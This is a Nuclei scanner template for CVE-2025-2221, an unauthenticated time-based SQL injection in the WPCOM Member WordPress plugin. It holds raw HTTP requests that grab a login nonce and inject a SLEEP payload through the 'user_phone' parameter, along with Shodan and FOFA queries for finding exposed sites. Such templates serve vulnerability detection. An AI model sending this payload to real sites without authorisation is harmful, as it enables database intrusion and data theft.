id: CVE-2025-2221 info: name: WordPress WPCOM Member <= 1.7.6 - SQL Injection author: neosmith1,0x_Akoko severity: high description: | WPCOM Member plugin for WordPress up to 1.7.6 contains a time-based SQL Injection caused by insufficient escaping and lack of preparation on the 'user_phone' parameter, letting unauthenticated attackers extract sensitive information, exploit requires sending crafted 'user_phone' parameter. impact: | Attackers can extract sensitive database information, potentially leading to data breach and privacy violations. remediation: | Update to the latest version of the plugin that addresses this vulnerability. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpcom-member/wpcom-member-176-unauthenticated-sql-injection - https://plugins.trac.wordpress.org/browser/wpcom-member/tags/1.7.6/includes/class-sesstion.php#L35 - https://nvd.nist.gov/vuln/detail/CVE-2025-2221 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2025-2221 epss-score: 0.20421 epss-percentile: 0.95695 cwe-id: CWE-89 metadata: verified: true max-request: 2 vendor: Bastien Ho product: wpcom-member shodan-query: http.component:"WordPress" fofa-query: body="wpcom-member" tags: cve,cve2025,wordpress,wp-plugin,sqli,wpcom-member,unauthenticated flow: http(1) && http(2) http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=wpcom_login_modal&type=login extractors: - type: regex name: nonce group: 1 regex: - 'member_form_login_nonce" value="([a-z0-9]+)"' part: body internal: true matchers: - type: dsl dsl: - status_code == 200 - contains(body, "member_form_login_nonce") - nonce != "" condition: and internal: true - raw: - | @timeout: 25s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=wpcom_login&user_phone=1%27+AND+%28SELECT+1+FROM+%28SELECT+SLEEP%286%29%29a%29--+-&sms_code=123456&member_form_login_nonce={{nonce}} matchers: - type: dsl dsl: - duration >= 6 - status_code == 200 condition: and # digest: 4a0a00473045022100aa64837c146124b70efb464868eb96b8fff712923d71a374e46d7852f81a70fd02207e622a7d17036ae5c9256ff81d3ad963c3719999a7ede8e72ba6b9c04c9c4002:922c64590222798bb761d5b6d8e72950